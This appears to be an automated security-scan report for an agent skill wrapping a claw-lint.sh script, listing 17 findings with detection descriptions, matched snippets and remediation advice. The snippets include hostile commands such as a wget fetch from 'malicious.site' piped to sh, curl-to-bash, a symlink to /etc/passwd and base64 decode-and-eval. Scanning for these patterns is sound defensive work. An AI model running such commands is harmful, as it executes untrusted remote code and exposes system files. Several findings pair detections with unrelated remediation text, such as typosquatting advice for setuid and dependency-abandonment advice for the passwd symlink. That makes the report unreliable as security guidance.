First Seen
Feb 18, 2026
Last Scanned
Feb 22, 2026
Findings
17
Score
0/100
Findings (17)
Detects patterns of downloading and piping to shell execution
curl \| bash Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.
Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.
Detects downloading scripts piped directly to a shell interpreter
curl \| bash Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.
Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.
Detects privilege escalation patterns like setuid, chown root, or sudo with shell commands
setuid Avoid depending on packages that could be subject to typosquatting or name confusion. Verify package ownership, check download counts, and audit the package source before adding dependencies.
Likely FP if the flagged package is a well-known, high-download-count package from a verified publisher.
Detects instructions to decode and execute base64 content
base64 decode, eval Remove text that simulates multi-turn conversations or fake user/assistant message pairs. These patterns attempt to manipulate the agent by fabricating conversation history.
Likely FP if the matched text is documentation showing example conversations or API request/response formats for illustration purposes.
Detects patterns of downloading and piping to shell execution
wget -O- https://malicious.site/payload | sh Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.
Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.
Detects downloading scripts piped directly to a shell interpreter
wget -O- https://malicious.site/payload | sh Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.
Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.
Detects fetching remote documentation or code to load as agent context
curl \| bash, wget + https://cdn.example.com/data.json Pin the SDK or script to a specific version and verify its checksum after download. Prefer installing SDKs via a package manager instead of fetching remote scripts directly.
Likely FP if the match is documentation showing how to install an official SDK (e.g., Google Cloud SDK, AWS CLI) from its canonical URL.
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.
Detects chained commands using shell operators with dangerous operations
curl \| bash Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.
Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.
Detects chained commands using shell operators with dangerous operations
wget -O- https://malicious.site/payload | sh Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.
Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.
Detects downloading binary, archive, or installer files from remote URLs
curl -O https://example.com/file.tar.gz Verify the integrity of downloaded binaries or archives using SHA-256 checksums or GPG signatures. Pin download URLs to specific versions and avoid fetching from unverified sources.
Likely FP if the download is from github.com or githubusercontent.com for a specific tagged release with documented checksums.
Detects symbolic link creation targeting sensitive files
ln -s /etc/passwd Review the dependency for signs of abandonment or low maintenance (no commits in 12+ months, no response to issues). Consider forking or replacing with an actively maintained alternative.
Likely FP if the package is stable, feature-complete, and intentionally in maintenance mode (e.g., a utility library with no needed updates).
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.
Detects execution of shell script files via bash/sh command or direct invocation
bash
{baseDir}/bin/claw-lint.sh Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.
Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.